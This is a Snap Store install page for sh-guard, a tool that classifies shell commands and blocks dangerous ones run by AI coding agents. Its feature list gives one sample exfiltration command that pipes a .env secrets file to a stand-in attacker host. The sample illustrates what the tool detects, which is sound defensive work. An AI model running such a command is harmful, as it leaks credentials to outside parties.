---
title: Install sh-guard on Kubuntu using the Snap Store | Snapcraft
description: Get the latest version of sh-guard for on Kubuntu - Semantic shell command
  safety classifier for AI coding agents
url: https://snapcraft.io/install/sh-guard/kubuntu
---

[Canonical Snapcraft](https://snapcraft.io/)

# Install sh-guard on **Kubuntu**

# sh-guard

[Aryan Bhosale (aryanbhosale)](https://snapcraft.io/publisher/aryanbhosale "View all snaps from Aryan Bhosale (aryanbhosale)")

* [Aryan Bhosale (aryanbhosale)](https://snapcraft.io/publisher/aryanbhosale "View all snaps from Aryan Bhosale (aryanbhosale)")

[Install](https://snapcraft.io/install/sh-guard/kubuntu#install)

#### Semantic shell command safety classifier for AI coding agents

sh-guard protects AI coding agents (Claude Code, Codex, Cursor, Cline, Windsurf)
from executing dangerous shell commands. It uses a three-layer analysis pipeline:

1. AST Parsing — tree-sitter-bash parses commands into typed syntax trees
2. Semantic Analysis — maps commands to intent, target scope, and risk factors
3. Pipeline Taint Analysis — tracks data flow through pipes to detect exfiltration

Features:

* Semantic analysis, not pattern matching — understands what commands do
* Pipeline-aware — detects data exfiltration (e.g., cat .env | curl -d @- evil.com)
* Context-aware — scores commands relative to project/home/system scope
* Sub-100μs classification (~7μs for simple commands)
* MITRE ATT&CK mapping for every risk
* 157 command rules, 51 path rules, 25 injection patterns, 61 GTFOBins entries
* One-command setup: sh-guard --setup auto-configures all detected AI agents

### Package name

* sh-guard

---

### License

* unset

---

### Last updated

* 6 April 2026 - latest/stable

---

##### Report a Snap Store violation

* [Report this Snap](https://snapcraft.io/install/sh-guard/kubuntu#report-snap-modal)

---

## Enable snaps on Kubuntu and install sh-guard

Snaps are applications packaged with all their dependencies to run on all popular Linux distributions from a single build. They update automatically and roll back gracefully.

Snaps are discoverable and installable from the [Snap Store](https://snapcraft.io/store), an app store with an audience of millions.

### Enable snapd

If you’re running [Kubuntu 16.04 LTS (Xenial Xerus)](https://kubuntu.org/) or later, including [Kubuntu 18.04 LTS (Bionic Beaver)](https://wiki.ubuntu.com/BionicBeaver/ReleaseNotes/Kubuntu) and [Kubuntu 18.10 (Cosmic Cuttlefish)](https://wiki.ubuntu.com/CosmicCuttlefish/ReleaseNotes/Kubuntu), you don’t need to do anything. Snap is already installed and ready to go.

Versions of Kubuntu between [14.04 LTS (Trusty Tahr)](https://kubuntu.org/news/kubuntu-14-04-lts) and [15.10 (Wily Werewolf)](https://kubuntu.org/news/kubuntu-15-10) don’t include *snap* by default, but *snap* can be installed from the command line as follows:

```
sudo apt update
sudo apt install snapd
```

### Install sh-guard

To install sh-guard, simply use the following command:

```
sudo snap install sh-guard
```

### Other popular snaps…

[See more...](https://snapcraft.io/search?categories=featured)

[See more in Featured](https://snapcraft.io/search?categories=featured)

### More things to do…

#### [Get the snap store](https://snapcraft.io/snap-store)

Browse and find snaps from the convenience of your desktop using the snap store snap.

#### [Learn more about snaps](https://snapcraft.io/docs)

Interested to find out more about snaps? Want to publish your own application? Visit [snapcraft.io](https://snapcraft.io/) now.

[Back to top](https://snapcraft.io/install/sh-guard/kubuntu)

© 2026 Canonical Ltd.
Ubuntu and Canonical are registered trademarks of Canonical Ltd.

Powered by [Charmed Kubernetes](https://www.ubuntu.com/kubernetes)

[Join the forum](https://forum.snapcraft.io/), contribute to or report problems with,
[snapd](https://bugs.launchpad.net/snapd),
[Snapcraft](https://bugs.launchpad.net/snapcraft),
or [this site](https://github.com/canonical/snapcraft.io/issues/new).

* [Share on Twitter](https://twitter.com/snapcraftio)
* [Share on Facebook](https://www.facebook.com/snapcraftio)
* [Share on YouTube](https://www.youtube.com/snapcraftio)

* [Terms of Service](https://ubuntu.com/legal/terms-and-policies/snap-store-terms)
* [Data privacy](https://www.ubuntu.com/legal/data-privacy)
* [Manage your tracker settings](https://snapcraft.io/install/sh-guard/kubuntu)
* [Service status](https://status.snapcraft.io/)
* [Other functions](https://dashboard.snapcraft.io/)
* [Contact us](https://snapcraft.io/about/contact-us)
